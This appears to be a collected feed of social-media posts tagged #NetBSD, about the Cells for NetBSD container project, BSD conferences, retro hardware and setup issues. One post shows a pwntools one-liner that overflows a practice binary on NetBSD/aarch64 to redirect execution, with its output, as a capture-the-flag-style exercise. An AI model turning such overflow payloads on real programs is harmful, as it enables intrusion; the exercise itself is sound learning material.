@mpeterma have fun! 😁 #NetBSD

#NetBSD jingle pop style created with A.I. 😂

A small update on NetBSD Cells 🙂

I’ve spent some time recently polishing things up and have updated the project page. I also built a new evaluation DVD image so it’s easier to try the current state of the project.

It now includes a few of the things I’ve been working on lately, like the reconcile engine in cellmgr, some early volume and backup management, and cellui for interactive administration.

If you’re curious about where the project currently stands, I wrote a short status report here:
https://www.petermann-digital.de/en/blog/netbsd-cells-status-report-2026q1/

Project page and download:
https://netbsd-cells.petermann-digital.de/

Feedback, thoughts, and questions are always very welcome.

#NetBSD #ModernRetrocomputing #devops #selfhosted

"Can you show what Cells for NetBSD actually does?"

Sure.

Fresh NetBSD install, deploy a Luanti server from a manifest, backup, restore, inspect processes inside the cell, then nuke everything again.

My personal record is <4 minutes.
The video is slower because OBS + VM + music nearly killed my laptop.

https://www.youtube.com/live/nCPecyk-ejU

#netbsd #devops #modernretrocomputing #clt2026 #luanti

Cells for NetBSD... Lightning Talk without the Talk ;-)

https://www.youtube.com/live/_aVtaTbXnio

#netbsd #netbsd-cells #devops #modernretrocomputing

Pushing Cells for NetBSD even further... cellmgr becoming a scriptable reconcilation engine with full lifecycle management including backup/restore, with cellui as the go-to TUI for midnight commander enthusiasts. And why stop there, when you could have a PAM authenticated web UI with feature-parity as well?

#netbsd #devops #modernretrocomputing #clt2026

I am booting something.. #Netbsd docs are interesting
🫣

Happy International Pi Day! Celebrating the infinite possibilities of clean code and extreme portability.

What a better day to remind everyone: Of course it runs NetBSD! 🚩

#NetBSD #PiDay #PiDay2026 #OpenSource #RetroComputing #RunBSD #linux

#NetBSD #PiDay2026

Hey! I will speak at #OpenTofuDay Europe in Amsterdam on March 23!

In my talk, we will see how to package OpenTofu and its providers, and we will exercise that to migrate from Terraform 0.12.x to OpenTofu 1.11.x.

Talk schedule link: https://sched.co/2DY5x

For more info about OpenTofu Day Europe: https://bit.ly/41RUALZ

#CloudNativeCon #KubeCon #opentofu #pkgsrc #netbsd

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OpenTofu Day Europe 2026 logo, Amsterdam, The Netherlands 23 March 2026 #OpenTofu

@mhoye https://www.netbsd.org/developers/commit-guidelines.html #NetBSD

Another issue is that the only way to stop dtrace is to kill -9 it, which takes the watched process with it in the fall..

Halp? :)

IT person is setting up my new Mac. I'm seeing if I can download, install, and then compile the entirety of #NetBSD before macOS finishes installing.

Turns the Mac is defective, new one will take 3 days to arrive, so I'm probably winning!

Do you want to come to Brussels, mingle with BSD people, perhaps do a talk, a tutorial or a BOF session?

The Call for papers https://2026.eurobsdcon.org/cfp/ is open until June 20th, for the conference in Brussels September 9-13, 2026.

We also offer pre-submission guidance/mentoring, see within.

Wonder what BSD and the conferences are about? See https://nxdomain.no/~peter/what_is_bsd_come_to_a_conference_to_find_out.html

@EuroBSDCon #freebsd #netbsd #openbsd #freesoftware #libresoftware #brussels #bruxelles

I pushed a second blog post. This time just some notes on what I had to do to get #NetBSD on my VPS setup for remote administration with ansible:

https://overeducated-redneck.net/blurgh/netbsd-ansible-notes.html

Further working on a modern out of the box experience of "Cells for NetBSD". Stay tuned 🙂

#netbsd #cells

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cellmgr reconciling a fleet of cells from a manifest

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cellui showing a TUI listing running cells (here with synthwave theme, switchable of course)

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...browser shown the placeholder site of the just deployed service landscape

pwning #NetBSD -aarch64 (ARM)
#RunBSD #Linux #unix

https://www.feyrer.de/NetBSD/bx/blosxom.cgi/nb_20260308_1932.html

I couldn't make it happen. I can get NetBSD set up with networking and the default X11 window manager, but when I try to get it to log in via XDM with Xfce, the system crashes, and killing the VM trashes the filesystem.

I couldn't find a clear, up-to-date tutorial on how to make this happen in NetBSD 10, and the NetBSD Handbook really didn't provide a complete recipe.

@ltning

Am I reading this correctly, does the system only have 128M Memory ? Very nice! I thought I was doing good having #NetBSD on an old system with 512M :)

One of things I like about #NetBSD is seeing people running it on all kind of different hardware.

What about a nice Midnight Commander-style TUI to manage cells interactively? 🤔

#netbsd #cellsfornetbsd #tui #devops #modernretrocomputing

https://netbsd-cells.petermann-digital.de

Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟲/𝟬𝟯/𝟬𝟵 (Valuable News - 2026/03/09) available.

https://vermaden.wordpress.com/2026/03/09/valuable-news-2026-03-09/

Past releases: https://vermaden.wordpress.com/news/

#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday

Latest 𝗩𝗮𝗹𝘂𝗮𝗯𝗹𝗲 𝗡𝗲𝘄𝘀 - 𝟮𝟬𝟮𝟲/𝟬𝟯/𝟬𝟵 (Valuable News - 2026/03/09) available.

https://vermaden.wordpress.com/2026/03/09/valuable-news-2026-03-09/

Past releases: https://vermaden.wordpress.com/news/

#verblog #vernews #news #bsd #freebsd #openbsd #netbsd #linux #unix #zfs #opnsense #ghostbsd #solaris #vermadenday

Thanks everyone for the constructive discussion and participation in the naming poll over the past days. It was really helpful.

The former "Jails for NetBSD" project will move forward under the name "Cells for NetBSD".

New project page:
https://netbsd-cells.petermann-digital.de

Next steps will focus on stabilizing the current prototype, testing it with real-world workloads, and exploring further ideas around a NetBSD-native container technology.

#netbsd #freebsd

#NetBSD people.. HP #PA-RISC 715/100XC
Has anyone installed it recently?

Reading about all sorts of retro projects
Itching fingers here 😁

Here’re some pictures from #NetBSD at SCALE

There’s a lot of interest in NetBSD :)

First is a Raspberry Pi 400 with ctwm running as a stratum 2 NTP server. Our neighbors just happen to be the Network Time Foundation.

@socallinuxexpo

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This is a picture of a Raspberry Pi 400 running NetBSD with ctwm showing several terminal windows running various things. It's running as a public NTP stratrum 2 time server as "timescale.zia.io" (the expo is called SCALE - ha ha)

pwning NetBSD-aarch64 (ARM)
- http://www.feyrer.de/NetBSD/blog.html/nb_20260308_1932.html

#pwn #binaryexploitation #ctf #cybersecurity #pwntools #gdb #netbsd #arm #aarch64

This afternoon's fun: pwning NetBSD-aarch64 (ARM)

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.
(venv-pwn) qnetbsd$ uname -a
NetBSD qnetbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC64) #0: Wed Mar 4 21:02:00 UTC 2026 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/evbarm/compile/GENERIC64 evbarm

#pwn #netbsd #binaryexploitation #arm #aarch64 #pwntools #gdb #ctf

Testdriving NetBSD-11.0RC2 on ARM hardware (in VM!)

http://www.feyrer.de/NetBSD/blog.html/nb_20260308_1626.html

#netbsd #arm #qemu

The naming poll for the NetBSD isolation project is now closed - and I think the result speaks for itself. 😉

Thanks to everyone who participated and shared thoughts in the discussion. The feedback from the BSD community has been really helpful.

I’ll take a bit of time to digest the results and the comments before making a final decision.

More updates soon - stay tuned.

#netbsd #freebsd #openbsd #jails #nojails

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The results of the poll - 28% jails, 33% cells, 3%enclaves, 18% cages, 15% bubbles.

#Retrocomputing #UNIX #SlowComputing

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Neofetch output showing the config: NetBSD 11.0 RC2, AMD 486-class CPU, 128MB RAM

Today I learned how to boot NetBSD/riscv in qemu on amd64. #NetBSD #RiscV

#Retrocomputing #UNIX #NotAToaster

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Screenfetch output showing an Xterm window with the specifications of the machine: NetBSD 11, Intel 686-class CPU, R200-class GPU, 492MiB RAM (?)

This weekend is the perfect time to get your #eurobsdcon submissions done!

The Call for papers https://2026.eurobsdcon.org/cfp/ is open until June 20th, for the converence in Brussels September 9-13, 2026.

We also offer pre-submission guidance/mentoring, see within.

Wonder what BSD and the conferences are about? See https://nxdomain.no/~peter/what_is_bsd_come_to_a_conference_to_find_out.html

@EuroBSDCon #freebsd #netbsd #openbsd #freesoftware #libresoftware #brussels #bruxelles

troubleshooting BSD TCP network performance
#NetBSD #runbsd
https://omaera.org/wlog/tech/bsd_network